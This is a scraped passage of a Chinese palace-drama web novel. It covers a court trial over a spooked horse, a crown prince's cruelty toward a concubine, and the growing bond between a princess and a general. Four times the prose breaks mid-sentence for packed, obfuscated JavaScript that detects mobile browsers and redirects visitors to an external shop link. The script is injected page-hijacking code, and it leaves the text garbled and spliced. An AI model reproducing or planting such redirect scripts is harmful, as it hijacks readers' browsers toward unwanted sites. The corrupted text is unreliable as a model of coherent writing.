0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13092651|131511||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的吩咐,晚棠不再畏惧,哽咽道:“回禀陛下,午后殿下在北桦林骑马,见四殿下前来便说了几句话,谁料四殿下突然生气,一怒之下用簪子扎了马。殿下本就不善马术,骑在马背上控制不得,便被惊马带着冲进了林子。” 说到这里,晚棠扑通一声跪了下去:“三殿下本就身子不好,今日又遭此祸,奴婢求陛下做主!” “你倒是会装可怜,父皇岂会信你的一面之词?”虞静澜冷笑,转向身后侍女:“书儿琴儿,你们来说!” 书儿和琴儿是虞静澜的贴身侍女,一早得了主子的嘱咐,现在被点到名,瑟缩着出来跪在地上:“四殿下早早离开赛马会,并未与三殿下见面,亦不知什么惊马之事……” 本是一场平常的宴席,谁能料到会撞上这样的大事。两侧席案后响起众人低低的议论声,而殿中双方仍各执一词,虞帝脸色沉下去,发话道:“钱顺海,你亲去北桦林走一趟。” “是。”钱顺海躬身退了出去。半个时辰后归来,身后跟着一个马夫,牵着匹负伤一瘸一拐的丹州马。 钱顺海不看殿上对峙的两方,低头禀报道:“回陛下,三殿下骑的马匹找到了,马臀上尚有血迹,经过比对,伤口确实为簪子所致。” 虞静澜后退两步,不肯服输道:“父皇!就算真的有人要害三姐姐,只凭这支黄玉簪子和侍女的话,难道就能治我的罪吗!” 跟着钱顺海进来的马夫始终低着头,这时候终于抬了起来,跪在地上吓得屁滚尿流:“奴才只看见四公主与三公主在树林外面说话,剩下什么都不知道啊!陛下饶命,陛下饶命!” 虞静澜猝然回头,仔细一看才发现——竟是当时为虞静央牵马的马夫! 她明明已经暗中派人去封口,怎么会这样?! 到了现在,已是人证物证俱全,虞静澜站在原地面色惨白,身后的两个侍女则浑身抖如筛糠,一副六神无主的恐惧模样。看过她们,虞帝还有什么不清楚的? 殿中列席之人不是重臣就是梨花寨的使者,他们兴师动众断了半天案,得到的就是这样一个结果,大齐皇室的脸都被丢尽了! 玉阶下,虞静澜仍在口口声声说着冤枉,虞帝铁青着脸色,手边茶盏重重掷了出去:“够了!” 天子盛怒下,虞静澜如梦初醒,腿一软仓皇伏了下去。她的罪名一旦坐实,那就是谋害手足,与当时虞静央下毒一事并无差别!不同的是那件事隐而不发,而今日她在这么多人面前,皇家的名声都会为她所累,大齐对外的形象亦要遭她抹黑! 父皇那样看重面子的人,岂会轻易饶她? “父皇,儿臣,儿臣——” 虞静澜心中的畏惧达到顶峰,嗫嚅着说不出话,极端慌乱下突然想起什么,转过身指着萧绍,什么规矩礼数都顾不上了:“是你,是你和虞静央串通好的!父皇!是他们——” 38. 回击 萧继淮不是个不知轻重的人,像这样的丑事,他明明可以找个机会私下禀报,却偏偏要冒着触怒天颜的风险在宴会上公然说出来,不就是要逼父皇重罚于她吗? 他为了给虞静央出气,连皇家颜面都不顾了! 虞静澜已经完全失态,在这样下去还不知道要说出什么不堪入耳的话,虞帝彻底失去耐心,厉声喝道:“堵上她的嘴!” 宫人应声簇拥上去,虞静澜被压在地上,狼狈得没有了一点公主的体面,眼中却依然有深深的怨恨和不甘。虞帝不由心想,当年他为了息事宁人下令隐瞒那件事,事后亦不许人重新调查,究竟是维护了皇家的和睦和体面,还是适得其反激化了矛盾,害得他们怀恨在心无法释怀,因此自相残杀? 虞帝心中怒极,亦觉心寒和悲哀,发落道:“四公主骄横善妒,有谋害手足之嫌,着每日罚跪两个时辰,幽闭于住处静思己过,非诏不得出。” 关侯想求情,被身边的属官拦住,观察圣上神情,终是没有说话,眼睁睁看着虞静澜面如死灰,被宫人带了下去。 闹剧就此结束,也毁了一场好好的宫宴。好在宴席本已接近尾声,众人纷纷低首告退,饶是黎娘子也怕触怒龙颜,没再多说什么离开了。最后,闲杂人等尽数离去,空旷的大殿只剩下了虞帝和萧绍,还有钱顺海和一众侍奉圣驾的宫人。 殿中一片缄默,萧绍屈膝跪下。 头顶上位者久久没有说话,过了一会儿,声中喜怒难辨:“萧继淮,是不是朕真的太宠你,才纵得你今日不计后果,做出这种冲动的事来?” 虽然没有说出是什么事,但他们都心知肚明。萧绍无可辩解,亦知今日此举会对皇家脸面造成多大的损伤,重重叩头下去。 “请陛下降罪。” 他伏地叩首,分明是卑躬屈膝的姿态,背脊却挺得笔直。 --- 千里外,南江王庭。 朝会正殿,文武百官于两侧垂首静立。众人噤若寒蝉时,南江王狠狠把桌案上的奏疏扫了下去,厉斥道:“无能的东西!看看外面都是怎么说你的!” 专门制成供王室使用的奏疏又沉又厚实,何况是整整一叠,被这样夹杂着怒火一扫,全都砸到了下面跪着的郁沧身上。然而,此时郁沧不敢表露出丝毫痛楚的神情,只有跪在地上头更低,忍着忐忑捡起一两本掉落在地的奏疏,匆匆扫过几眼,脸色蓦地变了。 西戎人究竟是何时在南江安插了奸细,又安排了何人,竟对他们的商路布局熟悉至此,试图蚕食鲸吞! 商贸之事一向由郁沧掌管,是他从一干虎视眈眈的兄弟手中好不容易夺来的,现在出了问题,他再也保持不了冷静,冷汗落在地上:“是儿臣的疏忽,求父王责罚!” “责罚你有何用?能换回那些损失和云岭的三条商路吗!”南江王暴怒不止。 殿中多少双眼睛看着,郁沧顾不上身为王储的脸面,连忙保证:“两日之内,儿臣定会重新衡定商路管理之法,排查内部细作,父王放心,此事定不会再次发生!” 他慌忙思考着对策,道:“我们的商路纵横天下,除却一部分通向南部诸国,还有输往北面齐国的路线。明日儿臣便与齐国边境联系,与其共商贸易之策。” “以眼下的形势,你觉得齐国会帮我们?”南江王冷哼。 “我南江与齐国联姻多年,盟约坚如磐石,外界传闻不足为惧……” 南江王的怒火原本有所消减,此刻又被他的愚钝挑了起来:“坚如磐石,那只是你以为!现下梨花寨与我们交恶,一边又交好西戎,与齐国取得联系,齐国皇帝已经和黎娘子见过面,随时都可能倒戈,我南江分明岌岌可危!” “何况——”南江王重重拂袖:“虞氏回到齐国已经数月,至今不见有回来的迹象。她的态度就是齐国的态度,你难道看不出?他们蒙受战败之耻,向我们纳贡多少年,分明早就有了逆反之心。” 这几个月以来,虞静央的事一直是南江的敏感话题,她迟迟不归来,焦灼的不止是王储府,还有整个南江朝廷。他们已经接洽许久,齐国的态度却始终模棱两可,于是南江就陷入了被动的局面。 郁沧自然听得出其中敲打之意,低着头道:“儿臣会抓紧与齐国的对话,争取尽快让虞氏回来。” “她与你成婚五年未能诞下嫡子,没有孩子,你能拿捏住她,让她心甘情愿回来?” 南江王失望地背过身,下了最后通牒:“”郁沧,你是储君,这些年,孤给你的机会已经够多了。若这次你还是办不好,需要人帮忙,想必你的兄弟们都会乐意的。” 一阵寒意从背后窜起,郁沧浑身一震,颤声道:“儿臣明白。” 半个时辰后,朝会散去,郁沧回到王储府。书房门关上,隔绝了门缝中投射进来的日光,略显晦暗的空间里,他一言不发,神色阴沉。 前脚虞静央出逃,南江与齐国的关系岌岌可危,后脚商路又出了问题,桩桩件件坏事仿佛都将矛头对准了他。若非郁沧理智尚存,差点就要怀疑这一切的背后是否有人刻意算计,就为了毁掉他的声望,把他从现在的位置上拉下来。 王储,他在这个位置上坐了将近十年,今日是第一次尝到颜面扫地的滋味,还是当着所有大臣和皇子的面。 他的父王,是真的一点情分都没讲。 想起散朝时自己那些“兄弟”看似关心实则嘲笑的嘴脸,郁沧再也控制不住心中暴虐的情绪,把桌上整齐搁放的墨砚和花樽狠狠扫下去,噼里啪啦碎了一地。 侯在房中的侍妾正侍候笔墨,被这突发状况吓得惊叫一声。饶是她平日得宠,现在也不敢像从前一样上前献媚,立在角落大气不敢出。 郁沧戾气未消:“虞氏久久不肯归来,你说,孤该对她用什么办法呢?” 侍妾没想到郁沧会问她,心中惧怕不已,也只有抖着身子答:“妾身以为,兴许是从前殿下与储妃之间有一些误会,储妃因此心伤,所以才不愿快些回来。但储妃一向贤良明事理,想必她很快便能想通,然后回到殿下身边……” “你的意思是,这些都是孤的错了?” 侍妾腿一软跪下,仓皇辩解道:“妾身不敢!妾身只是,只是……” “与孤有误会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13126174|131511||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……呵。” 郁沧蹲下身捡起一块破碎的瓷片,一半侧脸被猩红的烛光照得格外森冷:“放蛇、下毒、克扣她房中的冰和炭火……你们从前是怎样为难她的,真当孤不知道吗?” 侍妾娇柔的面容不复红润,登时变得如纸般苍白。虞静央不得宠,身体又不好,后院中馈大权旁落,常常被她们欺负刁难,殿下心在朝堂,回来后从来没有提起过。她们以为他不知道也不关注这些事,没想到他全都心知肚明! “妾身冤枉!殿下,妾身真的没有做过!” 貌美的侍妾哭得梨花带雨,郁沧眼中毫无波澜,一手捏着瓷片,在她面前蹲下来。 女人们在后院,闹成什么样都无所谓,可要是过界影响了政事,不就应该受到惩罚吗? “殿下,殿下不要!啊——!” 他残忍地勾起唇角,微眯的眼睛里满是阴鸷,在女子撕心裂肺的哭叫声里,用瓷片一寸一寸划过她面颊,任由黏腻的血迹流了满手,又一滴一滴落在地上,像烛台边滚落的烛泪。 侍妾昏了过去,如一滩烂泥瘫在地上,很快被人抬走清理了。侍卫进来看见这样的场面,亦不敢多言,低着头通报道:“殿下,九皇子过来了。” 郁沧擦干净手上的血,淡淡道:“让他进来。” 片刻,郁泽从外面进来,房中血腥气尚未散去,登时窜进他的鼻腔。他忍住干呕,清秀的脸上挤出个笑:“王兄处理公务辛苦,这是母后亲自做的点心,特意让臣弟送来。” 郁沧脸色沉沉。母后这是听说了他在朝堂上遭到训斥的事,拿点心来安慰他呢。 郁泽打开食盒,把瓷碟放在郁沧面前,是一碟青梅糕。后者扫了一眼,却没有吃,而是罕见地走了神,想起旧事。 他记得,在虞静央刚嫁给自己的时候,他们也是有过和睦相处的时候的。那时她初来南江不久,性格足够柔顺,也会像后院那群听话的女人一样对他小意讨好。第一次主动来书房找他时,好像就带了一碟她自己做的青梅糕。 那天,虞静央姿态柔顺,看上去有些不好意思:“妾身不擅厨艺,在厨房忙活半日总算做出了这道青梅糕,虽然模样不大好看,好在味道尚能入口,就想拿来给殿下尝尝。” 烛火轻摇,她精致的眉眼愈发动人,郁沧笑了笑:“无妨,日后时间还长,有的是机会让你慢慢学。” 两人又说了几句话,虞静央轻声告退。人走后,总管郭元昌进来拜见:“殿下,老奴看见储妃娘娘手上红了一大片,怕是做糕点时伤着了。” “拿些药膏给她送去吧。”郁沧罕见地关怀一句,漫不经心道:“身为女子不会下厨,看来齐国教养女子欠妥。” 郭元昌眼睛一转,谄媚笑道:“齐国不会教养,现在嫁到我们南江来,可不就是要殿下好好调教了吗?” 想起那张娇柔绝艳的面庞,郁沧勾起唇笑了一下。 “那殿下,这糕点……” 白瓷碟配着淡绿色的点心,看上去很是清凉,但外形总归差了一些,并非养尊处优的王储该吃的东西。郁沧看几眼,随意一摆手:“赏你了。” 39. 嗔痴 …… 见郁沧走神,郁泽有些奇怪,轻唤道:“王兄,王兄?” 郁沧回过神,不耐地将那碟点心推远:“你回去告诉母后,下次不必做这些东西安慰孤,孤不喜欢。” 可这总归是母后的一番心意…… 郁泽不敢说,只有顺从应下,坐在旁边不发一语。 因那青梅糕的影响,郁沧心烦意乱,脑中竟都是虞静央的身影。 前段时日,他派出手下潜入齐国玉京,本想借那件小衣逼她回来,却没想到不仅没有成功,人还死在了她的府邸,可见现在她铁了心要孤注一掷,想方设法留在齐国,就连世间女子最看重的贞操也控制不了她。 若她成功,他们五年的夫妻情谊便一刀两断,两国盟约也将顺势解除。于公于私,他都不能放任她这么离开。 看来,他必须要采取行动了。 想起南江使团将要启程前往齐国,郁沧眸色深沉:“孤欲亲去齐国一趟。” --- 虞静央险些被惊马所伤,所幸被及时救下,身体没有大碍,因这一桩意外,虞帝亲至朝晖殿探望,安抚让她好好休养。虞帝走后,虞静延夫妇留下陪虞静央一起用过午膳,又说了一会儿话,便离开准备回住处。 回去的路上,虞静延脸色并不好看。祝回雪安慰道:“陛下已经处置了四妹,殿下就莫要烦恼了。” “这样下去,皇家永远不会安生。”虞静延道。 这么多年过去,皇室手足间的矛盾始终难以调和,甚至相互算计、彼此倾轧,原因除了母家的明争暗斗,更多的还是那件下毒案。这次虞静澜失去理智想置虞静央于死地,也是因为当年的心结无法释怀。 虞静延不愿见到手足相残,但也绝非忍气吞声的性格,若有人胆敢对虞静央下手,他不会坐视不理,哪怕是同父异母的妹妹。可是有下毒之事在前,同样差点让虞静澜丢了性命,他又如何能毫不顾忌地以牙还牙,为虞静央出气? 祝回雪岂会不明白他心中所想,说:“好在这次阿绥没有事,真是不幸中的万幸。” 前事已经发生,怎样也挽救不回来,他们逃不开进退两难的局面,只有这样继续下去。 两人一时无话,回到住处一起去看乐安,见她正坐在书桌前读书,小小的身子勉强够得到桌面。 小姑娘面容稚嫩,头上梳着两把小啾啾,有模有样地皱着眉头识字。虞静延暂时忘记了那些烦心事,绕过桌案走到她身边。 “乐安在看什么书?” 看见父母来了,乐安像往常一样开心地弯起眼睛,小手把书卷举起来。虞静延一看,发现是本《中庸》。 祝回雪在乐安另一边,摸摸她头发,笑着问:“乐安看得懂吗?你还太小,若觉得枯燥,不妨换一本读。” 谁知乐安听了却不肯,摇头晃脑念道:“‘君子遵道而行,半涂而废,吾弗能已矣。’” 她磕磕绊绊背完,虞静延和祝回雪都不禁笑了,正想说什么,却见她小脸闷闷不乐地低了下去,像想起了什么心事。 “乐安,怎么了?” “君子不能半途而废,乐安做到了,可乐安永远不能成为君子。”乐安亮晶晶的眼睛变得暗淡,抬头问虞静延:“父王,是不是只有男子才能做君子?” 祝回雪一惊,下意识看了一眼虞静延,制止道:“乐安,你从哪里听来的这些话?” “是先生说的,女子只要学好琴棋书画,顶多再略识几个字,反正也用不上,君子六艺是男子才能学的东西。”乐安童言无忌,继续问道:“母妃,为什么女子不能做君子呢?书上没有写呀。” 祝回雪听后,第一反应就是告诉乐安不要听这些规训的话,却又不得不在心里承认,这些才是老祖宗传下来的、被这世道认可的“规矩”。 乐安早慧,心思也细腻,容易比别人多想很多事。祝回雪不愿自己的女儿被枷锁禁锢住,但碍于虞静延在场,她不能说,一番话便梗在了喉间。 “谁说不能?” 祝回雪愣住,猝然抬起头,见虞静延脸上没了笑意,不知何时变得严肃起来:“乐安,学堂的先生知识渊博,但这句话说得不对。你已经念过论语,可还记得里面的君子之道?” “记得。‘仁者不忧,知者不惑,勇者不惧’。” 虞静延颔首:“正是如此。君子本无男女之分,谁人都当得。” “乐安明白了。”女孩眼含希冀。 祝回雪从吃惊中回过神,心中一阵暖意,顺着他的话问:“乐安想做君子?” “嗯!”乐安重重点头,握着拳憧憬:“以后我也要成为君子,让所有人都能吃上好吃的点心。” 祝回雪失笑,如果可以,她比任何人都希望乐安的志向能实现。 外面传来张栩的通报声:“殿下,税政司的李侍郎来了。” 公事为重,虞静延应了一声,就打算去书房。乐安嘟囔:“每次来见父王的都是男大人,女大人都去哪了?” “乐安,朝堂上是没有女大人的。”祝回雪道。 “君子不论男女,朝堂不要女君子,难道要小人?”乐安歪头,更觉得疑惑:“朝堂不要女子,酒楼书肆也不要……母妃,就算真的有女君子,那她们该在哪里?” “乐安。”祝回雪怕她惹得虞静延不悦,连忙喝止,不许她再这样口无遮拦。 虞静延还没有离开,自然听到了乐安的全部疑问,停下了离开的脚步。 “她们都藏了起来,等你长大,自然就能看见了。” 虞静延转身回来,从书架前拿出了几本书,放在乐安面前。祝回雪感觉有些熟悉,看清后竟发现是—— 她的书! 晋王府鲜少有人听过她写书的事,就连乐安也不知道。祝回雪微惊,不知他要做什么,而乐安此时已经被面前几本装订精致的书本吸引住目光,问道:“父王,这是什么?” 虞静延说:“这几本游记在民间畅销,有许多人喜欢,但他们都不知道,这些书的作者是一位游过一半大齐江山的女子。” “好厉害!”乐安眼睛亮了起来,小手翻开第一页,指着一个字一个字地念:“归、雪、山、人——” 祝回雪胸中咚咚狂跳起来,连四肢手脚都因心头的震动感受到酥麻。她受世俗束缚而不敢暴露于人前,甚至藏着掖着的身份,就这样被她的夫君展示在他们的女儿面前,没有惊诧或不理解的神情,一人平和地讲述,一人稚嫩地向往。 虞静延望着女儿专注的一边小脸,眸色不自觉变得柔和,继续说:“除了她,世上还有很多这样的女子。乐安长大了,也可以像她们一样做自己喜欢的事。” “我也要成为这样的女子!”乐安兴高采烈地站起来:“母妃,父王,以后我想去朝堂上做女大人,可以吗?” 祝回雪胸口鼓胀,似满足似骄傲的情绪仿佛就要喷涌而出,有虞静延的话在前,这一刻,她抛却了所有的顾忌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13147296|131511||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,蹲在乐安面前。 “只要你想,就没什么不可能的。” - 从乐安房中出来,虞静延准备去见大臣,祝回雪叫住他:“殿下。” 虞静延停住,等着她说话。祝回雪抿抿唇,忍着紧张试探:“殿下对乐安说了那么多,不怕她日后当真走偏,也做一些离经叛道的事吗?” 虞静延目光微顿,从一个“也”中精准地捕捉到了她的意思。 日光温暖,廊下没有别人,气氛正好。虞静延看着她,说:“我没有觉得你那是离经叛道。” “真的吗?”祝回雪抬起头,被这话砸得愣住了。 虞静延不知她为何会觉得自己反对她写作,难道是他从前态度不太好,所以让她误解? 他默默回想一番,无奈道:“你喜欢胡思乱想,乐安就像你。” 面前人脸上没有半点打趣的神情,正经得很。祝回雪以为他在取笑她,耳朵红了红,没有把他的话放在心上,那点感动和意外的心情也无形中消去了。 “妾身没有。”她低着头干巴巴道。 虞静延心中颇为好笑,但没有表露出来:“你说没有便没有吧。” 两人并肩走在廊上,祝回雪沉吟片刻,道:“妾身想给乐安换一个教书先生,殿下能否允准?” 虞静延知道她心中所想,是觉得现在那个先生的观念太迂腐保守,久而久之怕乐安走偏。那些年迈大儒固然博学,但思想停留在过去,口中所谓好女子的模样,并不是他们两个为人父母想要看到的、乐安将来的样子。 他道:“明日我会上书父皇,提一提重开太学之事。” 祝回雪怔了怔,随即难掩喜色:“殿下的意思是,想让乐安入太学读书?” 太学是皇室御用的教书开蒙之地,昔日虞帝开国登基,膝下子女都尚且年幼,于是开太学,聘良师教导诸皇子公主,又为他们广招各家贵族子弟作陪读,如虞静延四兄妹、萧绍、苏昀等人,都曾经是太学门下学生。多年以后皇嗣们长大成人,太学没了需要管教的学生,于是功成身退,奉旨关闭求学之门。现在到了下一辈,皇家子嗣稀少,太学便没有再次开启。 欢喜之余,祝回雪也忧心:“皇孙这代只有乐安一人,实在是太少,殿下为她提起重开太学,恐会遭人议论。” “乐安是皇长孙女,去太学读书理所应当,纵使朝中有人异议,我亦不会让步。”虞静延安抚她道:“这只是小事。乐安聪颖机灵,父皇宠爱她,会答应的。” 他这样说,祝回雪也就放下心:“那就有劳殿下了。” 对自己女儿的学业上心,哪里谈得上什么劳累。不知为何,虞静延感觉有点奇怪,这几日待在一起,总觉得祝回雪待他的态度不如前段时日那样亲近,好像又回到了过去相敬如宾的状态,让他感到莫名的不习惯。 兴许是近日天气热的缘故。毕竟入夏多日,连乐安都央着闹着要多吃一碗冰。 虞静延这样想着,也就没放在心上,先去书房处理公事了。祝回雪站在廊前目送他离开,清透的眸子里情绪纷杂。 他疼爱乐安,不愿看见自己的女儿成为一个失去自我,只知相夫教子的女子,甚至接纳她惊世骇俗的行为,把她的书拿给乐安看。这一切,都证明了她们母女在他心中的分量。 一种又甜又苦的感觉霸占了祝回雪的心。前几日石榴百子缎的事还历历在目,她原本怨他,现在却觉得进退两难,既怨不得,又爱不得。 40. 灼烫 夏日的雨总是突如其来,雨丝急匆匆落下,洗刷了奉安城的锦楼繁花。 长公主住处,虞静央在卧榻前侍奉汤药。长公主靠在床头,颇为嫌弃地瞅了眼药碗,说道:“不过是一场小风寒,至于让你如此上心?拿走,我不喝。” 说罢,长公主吩咐让侍女拿去倒了,虞静央不依,让侍女退下,认真道:“姑母年纪大了,却总是不把自己的身体当回事,今日我既然来了,就要亲眼看着姑母喝完才能放心。” 放眼整个天下,有几个人敢当着长公主殿下的面说她的年龄?虞静央就算一个。两人无声对峙半晌,长公主不与小辈一般见识,终是皱着眉接过了那碗药汤。 虞静央不禁露出笑意,道:“这夏日晴雨无端,容易使人着凉,姑母喝了这驱寒药,再好生将养几日,定能很快大好。” “你倒哄上我了。”苦药入口,长公主忍着喝完,没好气瞥她一眼。 自己偶感风寒,不过是意外小恙,倒是她日前险些被惊马所伤,过了多日才好不容易走出来。到了这种地步,她和老四之间的姐妹情谊算是彻底断送了。 长公主问:“那日你和老四在北桦林说了什么,为何会让她冲昏头脑,突然对你下手?” “只是正常寒暄罢了,我也不知。”当时的场景令人不愉,虞静央垂下眼,“我和她之间的矛盾,也就那一件了。” 不说也知道,老四性格固执,至今心中郁愤难平也不意外。长公主不想提起过去的不堪之事,对今日的情况又是心烦,又感到无可奈何。 外面雨势渐停,小厮进来通报:“殿下,萧将军来了。” 虞静央一愣,当下就想起身,被长公主叫住:“急什么?坐下。” 她身体微恙,有不少人想来探望,大多被她拒了回去,只见了寥寥几人,像萧继淮这种从小看到大的晚辈,她自然不会把人赶回去。 长公主离开卧榻,扶着虞静央的手走到屏风外,道:“让他进来吧。” 萧绍过来是探病,各种礼节不会少,带来的东西除了人参等名贵补品,还带了两包长公主喜欢的咸酥。他进来拜见,看见虞静央也在后竟没有意外的神色,很快移开视线,向长公主行礼。 北桦林里的拉扯还历历在目,对于那时她提出的“交易”,萧绍几乎是愤怒地驳了回来,之后再也没有出现在她面前。虞静央原本坐立不安,可现在见他如此神情,不禁有些不确定。 难道他早知道自己在这里? 虞静央自己揣摩着,那阵窘迫感也不知不觉消去不少,安安分分坐在旁边听两人闲谈。奈何长公主不给她安生的机会,不一会儿就把话头引到了她身上:“阿绥,是不是许久没吃过这咸酥了?快尝尝。” 长公主一边说着,一边拿了一块直接递到她面前。对面那道目光如有实质,让虞静央又局促了起来,硬着头皮接过:“谢谢姑母。” 长公主神色无比自然,收回手,继续与萧绍说话:“你与静延负责招待梨花寨使臣,这几日事少,应当清闲了一些。” “是。”萧绍应道:“与先前相比,黎娘子态度有所软化,似有妥协之意,近日主要是同外事司往来。” 说起那位黎娘子,先前就在商议政事时提起过虞静央的去留,那日惊马之事后还以个人的名义向朝晖殿送了不少礼物,只说是安慰公主受惊的小玩意儿,可见她对虞静央的关注非同一般。 长公主心中了然,笑了笑:“那是个够精明的人物,就算面上妥协,也定会时刻盯着我们与南江的关系的,从她对阿绥的态度就看得出来。” 毕竟对黎娘子来说,虞静央身兼南江储妃和大齐公主两重身份,是催促大齐与南江断交的关键之人。 “她想要三殿下留在大齐。”萧绍颔首。 又是一副公事公办的语气,平稳得好像她不在这里一样。 虞静央眸中的不愉还没来得及收回,一抬眼却与他撞了个正着。萧绍就坐在她对面,敏锐地察觉到了她情绪的转变,于是神情也有了微妙的变化,严肃中夹杂着一丝莫名其妙的疑惑。 又怎么了? “……” 虞静央佯装什么都没看见,默默低下头,咬了一口手里的咸酥。 那块酥饼如同烫手山芋,熟悉的咸香入口都没了滋味。虞静央味同嚼蜡,好不容易等到厨房的侍女过来提醒,她顺势道:“姑母,药膳做好了,我先去厨房瞧瞧。” 没有听见阻拦的话,虞静央暗暗一松,匆匆出了正殿。长公主看着她离开,目光移回到一言不发却明显心不在焉的萧绍身上:“傻愣着做什么?” 萧绍还在原地。 长公主暗道笨小子,一边善解人意地替他编了个合适的理由:“装药膳的罐子那样烫,伤着阿绥可怎么好?继淮,你替本宫去看看吧。” “……” 萧绍拱手:“是。” …… 挥退了众人,虞静央独自来到小厨房,那阵不自在的感觉散去不少。她放松下来,打湿布巾垫着揭开陶罐盖子,里面熬着的药膳正咕嘟咕嘟冒着热气,再等片刻便好了。 以她和萧绍现在的关系,同在一处也没办法如常说话,还不如在这里清净。这样想着,虞静央便没想再回去,索性倚在灶台前等着药膳。 美貌悦己,亦可成为杀人的刀、达成目的的梯。既然她有这份资本,就没有浪费的道理,在本就有情的旧人身上,她愿意适当利用一下。 那天在北桦林,她本就是想试探试探萧绍的心,看看他对自己的心思还有多少。有意便答应,无意便拒绝,这两种可能是虞静央都想过的,偏偏他最后一个也没选,只说了一句那样的话。这种意想不到的结果,反而让她无法确定了。 玉京脚下士族门阀遍地,为了巩固实力,族中子弟大多难逃政治联姻的命运,萧绍虽早与萧侯府分家,但未必能顶住家族的压力。先前他答应与沈家公子一同上场围猎,兴许就表达了自己的态度。 这样想着,虞静央觉得北桦林里他的回答 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13149965|131511||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半点都不可信,至于之后问她的“把他当成了什么”更是气愤之语,是指责她有失妇德,那桩“交易”是对他的侮辱。 过了这么久,他应该早就消化了。方才那样直勾勾看着她,心里还指不定怎么想她呢。 虞静央走着神,心道当时怎么想了这么个蠢办法。正好药膳熬好,她揭开药罐盖放在一边,两手端起陶罐,离火仍在冒泡的药粥突然溅了出来,不偏不倚落在她指背。她吃痛,下意识躲了一下,移动间尾指离开了隔热的布巾,意外与罐身相触。 滚烫的感觉让虞静央吓了一跳,慌乱间手中药粥摇晃,就要倾洒出来,身后忽然传来一声:“小心!” 有人快步赶来,紧接着一阵力道,虞静央还没反应过来,拿着的陶罐就已经脱手飞了出去,随着一声刺耳的脆响在离她三步远的地上摔成了几半。 碎陶片夹杂着热粥,一片狼藉。虞静央心口还在突突地跳,回头望见来人,微惊道:“你怎么来了?” “长公主说怕你被药罐烫伤,没想到还真猜中了。”萧绍脸色不善。 所幸他来得及时。虞静央微窘,手指微微蜷起,后知后觉感受到尾指一阵火辣辣的疼。 她若无其事地垂下眸子,没话找话道:“……姑母本就不愿意喝,现在好了。” 萧绍看了半晌,径自从灶台边拿了个木盆,走到水缸前舀了一瓢冷水。 “过来泡着。”他道。 虞静央自以为掩藏得好,没想到还是被发现了。可那阵刺痛感实在令人难以忽略,她犹豫片刻,还是上前。 被烫着的指尖泛红,表面还起了几个小水泡,一进入冰水,清爽的凉意好像直直沁入人心脾,烫伤的不适感立马被缓解了。 她就这样泡着,萧绍立在旁边,一时只能听见偶尔晃动的水声。虞静央始终低垂着眼,想起某件事,不禁感到如鲠在喉。 过了一会儿,她忍不住了,小声道:“那天,你不该亲自去宴会上的。” 他不去,晚梨也能一个人推动全程的发展,兴许没法让虞静澜当场被处置,但也可以恰到好处地挑起父皇的疑心,而他却在大庭广众面前直接落实了虞静澜的罪,是必然会触怒父皇的。 当时他说会把事情如实上报,虞静央以为是为自己做人证,却没想到是这样。她能想象到那日父皇的怒气,不然也不会次日就贬他的官,直接收了他调动皇宫禁卫之权。 垂下的耳铛在她颊边晃动,投下一片小小的阴影。萧绍静静看着,道:“不是你让我帮你的吗?” 帮忙归帮忙,可也未必要…… 虞静央心里的话说到一半,突然意识到什么,错愕地抬起了头:“你——” 萧绍知道她要问什么,但没有回答,而是望着她:“那天你对我说的那些话,只是想让我帮你吗?” “没有别的了吗?” 他目光完全凝聚在她脸上,分毫不肯挪动,仿佛格外重视接下来的答案。虞静央被盯得发慌,面颊好像也被烫伤了。 41. 同归 想起当时萧绍气愤的态度,她提出的交易几乎没有达成的可能性。即使他重新问起,虞静央也很难再抱有什么希望。 “除了兄长和姑母,我只与你最熟悉了。”她轻声,语中含着歉意,“是我一时心急才唐突行事,你莫要介怀。” 所以是因为没得选,她才会来找他? 萧绍呼吸急促起来,脚下上前一步,逼得虞静央向后退,浸在水盆里的手也被迫移动,溅出的水花沾湿了她的衣袖。 “你贵为公主,不管你当初怎么样,又或是做错了什么,只要你说一句话,多的是人愿意帮你,就连从来不参与朝堂争斗的苏昀都心甘情愿为你做事,这样还不够吗?为什么要对我说那样的话,自己作践自己!” 萧绍离她越来越近,眸中燃着炽烈的火:“你能和那么多人相处如初,偏偏选择了与我‘交易’。难道在你心里,我就那样冷酷无情,是要用这种方式才能收买的人?” 